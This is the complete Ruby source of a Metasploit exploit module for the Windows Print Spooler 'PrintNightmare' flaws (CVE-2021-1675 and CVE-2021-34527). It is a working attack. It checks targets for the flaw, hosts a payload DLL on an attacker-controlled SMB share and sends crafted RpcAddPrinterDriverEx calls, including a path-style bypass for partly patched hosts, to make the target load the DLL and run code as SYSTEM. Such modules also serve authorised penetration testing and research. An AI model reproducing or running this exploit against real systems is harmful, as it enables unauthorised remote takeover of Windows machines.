Print Spooler Remote DLL Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'windows_error'  
require 'ruby_smb'  
require 'ruby_smb/error'  
  
class MetasploitModule < Msf::Exploit::Remote  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::DCERPC  
include Msf::Exploit::Remote::SMB::Client::Authenticated  
include Msf::Exploit::Remote::SMB::Server::Share  
include Msf::Exploit::Retry  
include Msf::Exploit::EXE  
include Msf::Exploit::Deprecated  
  
moved_from 'auxiliary/admin/dcerpc/cve_2021_1675_printnightmare'  
  
PrintSystem = RubySMB::Dcerpc::PrintSystem  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Print Spooler Remote DLL Injection',  
'Description' => %q{  
The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted  
DCERPC request, resulting in remote code execution as NT AUTHORITY\SYSTEM. This module uses the MS-RPRN  
vector which requires the Print Spooler service to be running.  
},  
'Author' => [  
'Zhiniang Peng', # vulnerability discovery / research  
'Xuefeng Li', # vulnerability discovery / research  
'Zhipeng Huo', # vulnerability discovery  
'Piotr Madej', # vulnerability discovery  
'Zhang Yunhai', # vulnerability discovery  
'cube0x0', # PoC  
'Spencer McIntyre', # metasploit module  
'Christophe De La Fuente', # metasploit module co-author  
],  
'License' => MSF_LICENSE,  
'DefaultOptions' => {  
'SRVHOST' => Rex::Socket.source_address  
},  
'Stance' => Msf::Exploit::Stance::Aggressive,  
'Targets' => [  
[  
'Windows', {  
'Platform' => 'win',  
'Arch' => [ ARCH_X64, ARCH_X86 ]  
},  
],  
],  
'DisclosureDate' => '2021-06-08',  
'References' => [  
['CVE', '2021-1675'],  
['CVE', '2021-34527'],  
['URL', 'https://github.com/cube0x0/CVE-2021-1675'],  
['URL', 'https://web.archive.org/web/20210701042336/https://github.com/afwu/PrintNightmare'],  
['URL', 'https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1'],  
['URL', 'https://github.com/byt3bl33d3r/ItWasAllADream']  
],  
'Notes' => {  
'AKA' => [ 'PrintNightmare' ],  
'Stability' => [CRASH_SERVICE_DOWN],  
'Reliability' => [UNRELIABLE_SESSION],  
'SideEffects' => [  
ARTIFACTS_ON_DISK # the dll will be copied to the remote server  
]  
}  
)  
)  
  
register_advanced_options(  
[  
OptInt.new('ReconnectTimeout', [ true, 'The timeout in seconds for reconnecting to the named pipe', 10 ])  
]  
)  
deregister_options('AutoCheck')  
end  
  
def check  
begin  
connect(backend: :ruby_smb)  
rescue Rex::ConnectionError  
return Exploit::CheckCode::Unknown('Failed to connect to the remote service.')  
end  
  
begin  
smb_login  
rescue Rex::Proto::SMB::Exceptions::LoginError  
return Exploit::CheckCode::Unknown('Failed to authenticate to the remote service.')  
end  
  
begin  
dcerpc_bind_spoolss  
rescue RubySMB::Error::UnexpectedStatusCode => e  
nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first  
if nt_status == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND  
print_error("The 'Print Spooler' service is disabled.")  
end  
return Exploit::CheckCode::Safe("The DCERPC bind failed with error #{nt_status.name} (#{nt_status.description}).")  
end  
  
@target_arch = dcerpc_getarch  
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/e81cbc09-ab05-4a32-ae4a-8ec57b436c43  
if @target_arch == ARCH_X64  
@environment = 'Windows x64'  
elsif @target_arch == ARCH_X86  
@environment = 'Windows NT x86'  
else  
return Exploit::CheckCode::Detected('Successfully bound to the remote service.')  
end  
  
print_status("Target environment: Windows v#{simple.client.os_version} (#{@target_arch})")  
  
print_status('Enumerating the installed printer drivers...')  
drivers = enum_printer_drivers(@environment)  
@driver_path = "#{drivers.driver_path.rpartition('\\').first}\\UNIDRV.DLL"  
vprint_status("Using driver path: #{@driver_path}")  
  
print_status('Retrieving the path of the printer driver directory...')  
@config_directory = get_printer_driver_directory(@environment)  
vprint_status("Using driver directory: #{@config_directory}") unless @config_directory.nil?  
  
container = driver_container(  
p_config_file: 'C:\\Windows\\System32\\kernel32.dll',  
p_data_file: "\\??\\UNC\\127.0.0.1\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.dll"  
)  
  
case add_printer_driver_ex(container)  
when nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code  
return Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.')  
when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND  
return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')  
when ::WindowsError::Win32::ERROR_BAD_NET_NAME  
return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')  
when ::WindowsError::Win32::ERROR_ACCESS_DENIED  
return Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.')  
end  
  
Exploit::CheckCode::Detected('Successfully bound to the remote service.')  
end  
  
def run  
fail_with(Failure::BadConfig, 'Can not use an x64 payload on an x86 target.') if @target_arch == ARCH_X86 && payload.arch.first == ARCH_X64  
fail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil?  
fail_with(Failure::Unknown, 'Failed to enumerate the driver directory.') if @config_directory.nil?  
  
super  
end  
  
def setup  
if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0  
fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')  
end  
  
super  
end  
  
def start_service  
file_name << '.dll'  
self.file_contents = generate_payload_dll  
  
super  
end  
  
def primer  
dll_path = unc  
if dll_path =~ /^\\\\([\w:.\[\]]+)\\(.*)$/  
# targets patched for CVE-2021-34527 (but with Point and Print enabled) need to use this path style as a bypass  
# otherwise the operation will fail with ERROR_INVALID_PARAMETER  
dll_path = "\\??\\UNC\\#{Regexp.last_match(1)}\\#{Regexp.last_match(2)}"  
end  
vprint_status("Using DLL path: #{dll_path}")  
  
filename = dll_path.rpartition('\\').last  
container = driver_container(p_config_file: 'C:\\Windows\\System32\\kernel32.dll', p_data_file: dll_path)  
  
3.times do  
add_printer_driver_ex(container)  
end  
  
1.upto(3) do |directory|  
container.driver_info.p_config_file.assign("#{@config_directory}\\3\\old\\#{directory}\\#{filename}")  
break if add_printer_driver_ex(container).nil?  
end  
  
cleanup_service  
end  
  
def driver_container(**kwargs)  
PrintSystem::DriverContainer.new(  
level: 2,  
tag: 2,  
driver_info: PrintSystem::DriverInfo2.new(  
c_version: 3,  
p_name_ref_id: 0x00020000,  
p_environment_ref_id: 0x00020004,  
p_driver_path_ref_id: 0x00020008,  
p_data_file_ref_id: 0x0002000c,  
p_config_file_ref_id: 0x00020010,  
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913  
p_name: "#{Rex::Text.rand_text_alpha_upper(2..4)} #{Rex::Text.rand_text_numeric(2..3)}",  
p_environment: @environment,  
p_driver_path: @driver_path,  
**kwargs  
)  
)  
end  
  
def dcerpc_bind_spoolss  
handle = dcerpc_handle(PrintSystem::UUID, '1.0', 'ncacn_np', ['\\spoolss'])  
vprint_status("Binding to #{handle} ...")  
dcerpc_bind(handle)  
vprint_status("Bound to #{handle} ...")  
end  
  
def enum_printer_drivers(environment)  
response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2)  
response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2, p_drivers: [0] * response.pcb_needed, cb_buf: response.pcb_needed)  
fail_with(Failure::UnexpectedReply, 'Failed to enumerate printer drivers.') unless response.p_drivers&.length  
DriverInfo2.read(response.p_drivers.map(&:chr).join)  
end  
  
def get_printer_driver_directory(environment)  
response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2)  
response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2, p_driver_directory: [0] * response.pcb_needed, cb_buf: response.pcb_needed)  
fail_with(Failure::UnexpectedReply, 'Failed to obtain the printer driver directory.') unless response.p_driver_directory&.length  
RubySMB::Field::Stringz16.read(response.p_driver_directory.map(&:chr).join).encode('ASCII-8BIT')  
end  
  
def add_printer_driver_ex(container)  
flags = PrintSystem::APD_INSTALL_WARNED_DRIVER | PrintSystem::APD_COPY_FROM_DIRECTORY | PrintSystem::APD_COPY_ALL_FILES  
  
begin  
response = rprn_call('RpcAddPrinterDriverEx', p_name: "\\\\#{datastore['RHOST']}", p_driver_container: container, dw_file_copy_flags: flags)  
rescue RubySMB::Error::UnexpectedStatusCode => e  
nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first  
message = "Error #{nt_status.name} (#{nt_status.description})"  
if nt_status == ::WindowsError::NTStatus::STATUS_PIPE_BROKEN  
# STATUS_PIPE_BROKEN is the return value when the payload is executed, so this is somewhat expected  
print_status('The named pipe connection was broken, reconnecting...')  
reconnected = retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do  
dcerpc_bind_spoolss  
rescue RubySMB::Error::CommunicationError, RubySMB::Error::UnexpectedStatusCode => e  
false  
else  
true  
end  
  
unless reconnected  
vprint_status('Failed to reconnect to the named pipe.')  
return nil  
end  
  
print_status('Successfully reconnected to the named pipe.')  
retry  
else  
print_error(message)  
end  
  
return nt_status  
end  
  
error = ::WindowsError::Win32.find_by_retval(response.error_status.value).first  
message = "RpcAddPrinterDriverEx response #{response.error_status}"  
message << " #{error.name} (#{error.description})" unless error.nil?  
vprint_status(message)  
error  
end  
  
def rprn_call(name, **kwargs)  
request = PrintSystem.const_get("#{name}Request").new(**kwargs)  
  
begin  
raw_response = dcerpc.call(request.opnum, request.to_binary_s)  
rescue Rex::Proto::DCERPC::Exceptions::Fault => e  
fail_with(Failure::UnexpectedReply, "The #{name} Print System RPC request failed (#{e.message}).")  
end  
  
PrintSystem.const_get("#{name}Response").read(raw_response)  
end  
  
class DriverInfo2Header < BinData::Record  
endian :little  
  
uint32 :c_version  
uint32 :name_offset  
uint32 :environment_offset  
uint32 :driver_path_offset  
uint32 :data_file_offset  
uint32 :config_file_offset  
end  
  
# this is a partial implementation that just parses the data, this is *not* the same struct as PrintSystem::DriverInfo2  
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030  
DriverInfo2 = Struct.new(:header, :name, :environment, :driver_path, :data_file, :config_file) do  
def self.read(data)  
header = DriverInfo2Header.read(data)  
new(  
header,  
RubySMB::Field::Stringz16.read(data[header.name_offset..]).encode('ASCII-8BIT'),  
RubySMB::Field::Stringz16.read(data[header.environment_offset..]).encode('ASCII-8BIT'),  
RubySMB::Field::Stringz16.read(data[header.driver_path_offset..]).encode('ASCII-8BIT'),  
RubySMB::Field::Stringz16.read(data[header.data_file_offset..]).encode('ASCII-8BIT'),  
RubySMB::Field::Stringz16.read(data[header.config_file_offset..]).encode('ASCII-8BIT')  
)  
end  
end  
end  
`